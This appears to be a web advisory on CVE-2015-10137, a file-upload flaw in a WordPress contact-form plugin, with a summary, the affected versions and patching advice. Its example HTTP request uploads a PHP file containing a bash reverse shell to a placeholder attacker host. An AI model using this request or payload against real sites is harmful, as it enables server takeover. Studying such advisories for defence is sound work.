Overview
In the cybersecurity landscape, it is critical to stay updated on the vulnerabilities that could compromise the integrity, confidentiality, and availability of your system. One such vulnerability, CVE-2015-10137, affects users of the Website Contact Form With File Upload plugin for WordPress. This plugin is widely used in numerous WordPress-based websites for contact form purposes. The vulnerability allows unauthenticated attackers to upload arbitrary files on the website’s server, potentially leading to remote code execution. This matters because it poses a high risk of system compromise and data leakage.
Vulnerability Summary
CVE ID: CVE-2015-10137
Severity: Critical, CVSS Score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage
Affected Products
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Product | Affected Versions
Website Contact Form With File Upload plugin for WordPress | Up to and including 1.3.4
How the Exploit Works
The vulnerability lies in the ‘upload_file()’ function of the Website Contact Form With File Upload plugin. This function lacks proper file type validation, allowing any file type to be uploaded by an unauthenticated user. The attacker could exploit this vulnerability by uploading a malicious file which, when executed, could compromise the system. This could potentially allow the attacker to take control of the system or leak sensitive data.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. Note that this is for illustrative purposes only and should not be used for malicious purposes.
POST /wp-content/plugins/contact-form-with-file-upload/upload_file.php HTTP/1.1
Host: target.example.com
Content-Length: [length of the content]
Content-Type: multipart/form-data; boundary=[boundary]
--[boundary]
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'"); ?>
--[boundary]--In the above example, a POST request is made to the vulnerable ‘upload_file.php’ endpoint. A PHP file named ‘evil.php’ containing malicious code is uploaded. Once uploaded, the malicious file could be executed, potentially leading to remote code execution.
Mitigation Guidance
To mitigate this vulnerability, users should apply the vendor patch immediately. If this is not possible for some reason, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could offer temporary protection. However, these should not be seen as long-term solutions, as the only definitive fix is to apply the vendor patch.